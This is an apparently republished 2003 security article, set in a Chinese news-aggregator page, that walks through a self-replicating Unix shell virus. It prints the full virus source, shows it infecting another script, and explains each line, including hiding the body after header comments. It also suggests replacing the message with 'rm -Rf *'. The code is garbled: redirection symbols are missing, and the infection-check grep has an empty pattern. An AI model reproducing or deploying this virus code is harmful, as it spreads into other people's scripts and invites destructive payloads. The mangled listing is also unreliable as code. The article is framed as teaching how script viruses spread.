分享
 
 
 

A Brief Introduction to UNIX SHELL Virus

王朝system·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

Create: 2003-06-09

Author: watercloud (watercloud_at_xfocus.org)

A Brief Introduction to UNIX SHELL Virus

1. Preface

Speaking of virus it has always been somewhat mysterious. I remember when

I compiled my first dos virus in assembling it was such a painful task. From

the initial assumption to the final accomplishment it took me more than 3

months, but what I had compiled was still at mess. Recently I come up with

the idea that virus ultimately is something that affects other files and

spreads itself, so it would not be too complicated to compile a virus by

shell. Then I conveniently compiled the following script. Its functionality

is to affect other shell programs.

This program is of little practical significance, but it is helpful to

visually understand the virus spread mechanism. Therefore, its instructive

significance is more important than the practical one.

2. Program Code

#!/bin/sh

#file name: virus_demo.sh

#purpose: shell virus demonstration

#note: the virus will affect all the files that end with .sh in the current

directory, but it will not affect them repeatedly.

#compiler: watercloud@xfocus.org

#date: 2003-5-13

#B:

vFile=$_ ; vTmp=/tmp/.vTmp.$$

for f in ./*.sh; do

if [ ! -w $f -a ! -r $vFile ]; then continue; fi

if grep '' $f ; then continue; fi

if sed -n '1p' $f | grep 'csh'; then continue; fi

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

sed -n "1,${vNo}p" $vTmp $f

(sed -n '/^#B:/,/^#E:

/p' $vFile ;echo ) $f

vNo=`expr $vNo + 1`

sed -n "${vNo},\$p" $vTmp $f

rm -f $vTmp

done /dev/null 2&1

unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"

#E:

#EOF

This program is of little practical significance, but it is helpful to

visually understand the virus spread mechanism. Therefore, its instructive

significance is more important than the practical one.

3. Demonstration

Test:

First put 2 files in the current directory. One is virus file, and another

is for affect test.

[cloud@ /export/home/cloud/vir] ls -l

drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./

drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../

-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh

-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

Let's have a look at the victim script. It is very simple:

[cloud@ /export/home/cloud/vir] cat test.sh

#!/bin/sh

# Just a demo for virus test

# Author : foo

# Date : 3000-1-1

ls -l

#EOF

Begin to affect.

[cloud@ /export/home/cloud/vir] ./virus_demo.sh

Hi, here is a demo shell virus in your script !

The result after affect:

[cloud@ /export/home/cloud/vir] cat test.sh

#!/bin/sh

# Just a demo for virus test

# Author : foo

# Date : 3000-1-1

#B:

vFile=$_ ; vTmp=/tmp/.vTmp.$$

for f in ./*.sh; do

if [ ! -w $f -a ! -r $vFile ]; then continue; fi

if grep '' $f ; then continue; fi

if sed -n '1p' $f | grep 'csh'; then continue; fi

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

sed -n "1,${vNo}p" $vTmp $f

(sed -n '/^#B:/,/^#E:

/p' $vFile ;echo ) $f

vNo=`expr $vNo + 1`

sed -n "${vNo},\$p" $vTmp $f

rm -f $vTmp

done /dev/null 2&1

unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"

#E:

ls -l

#EOF

The virus body:

#B:

. . . .

#E:

is copied, thus the virus is spreaded.

Please note that the position where the virus body is injected is the beginning

of the source test.sh's effective program line. This results from the fact

that most shell program experts prefer to make notes at the beginning of the

program. You are not expected to put others' note information to the end,

or it would be too obvious.

Execute the new virus body:

[cloud@ /export/home/cloud/vir] ./test.sh

Hi, here is a demo shell virus in your script !

Printing information in the virus body.

-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh

-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

4. Brief Explanation

Let's analyze the virus step by step:

#B:

The virus body begins to tag, thus the program can locate itself during the

copying.

vFile=$_ ; vTmp=/tmp/.vTmp.$$

Defining 2 variables. One is temporary file, another records the current file-

name $_. Therefore it's required this line should be the first line in the

effective line of the program, otherwise it's impossible to acquire the name

of the current program, and subsequently it's impossible to find the virus

body for copying.

for f in ./*.sh; do

Begin to circle, and find out all the programs that end with .sh in the

current directory.

if [ ! -w $f -a ! -r $vFile ]; then continue; fi

If the target has write privilege and if the virus source file has read

privilege.

if grep '' $f ; then continue; fi

If the target has been irreversibly affected. If so it would be immoral to

affect it again.

if sed -n '1p' $f | grep 'csh'; then continue; fi

If the target shell is in csh, they are too different in grammar. Give up.

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

Get ready to affect. First copy a backup for the target. What if the copying

fails? Of course have no choice but give up.

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

It seems to be complicated, but for shell virus learners they are expected

to know awk and the formal expression. This is the one used to find how many

comment lines and blank line in the program beginning, so as to determine

virus body's inject position.

sed -n "1,${vNo}p" $vTmp $f

A sed command copy the beginning comment section of the target file back

from the backup file.

(sed -n '/^#B:/,/^#E:

/p' $vFile ;echo ) $f

One more sed to finish virus body transportation.

vNo=`expr $vNo + 1`

sed -n "${vNo},\$p" $vTmp $f

The last sed moves other sections of the target file back. sed is powerful!!

rm -f $vTmp

Clean up temporary files.

done /dev/null 2&1

Circle is over.

unset vTmp ;unset vFile ;unset vNo

Clean up crime scene.

echo "Hi, here is a demo shell virus in your script !"

Since the file has been affected, show some indication to tell this is an

affected one.

#E:

The virus body stops tagging, so that the program copying locates itself.

5. PS

From it we can see the script virus is very simple. It can be compile without

much knowledge. And its destructive ability should never be overlooked. For

example, if we change the echo information in the program into rm -Rf * .

On the other hand it shows how powerful the shell is. Just imagine how much

effort it takes for a traditional program to handle PE file structure and

ELF structure.

The above program has been tested on Linux and Solaris. It should also be

appliable for windows users on Cygwin.

By the way, the purpose of this article is to share virus understandings

with others, not to teach how to compile virus and victimize others. Please

keep it in mind.

#EOF

#GAME OVER

echo "COMMENTS ARE WELCOME!"

Copyright ? 1998-2003 XFOCUS Team. All Rights Reserved

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有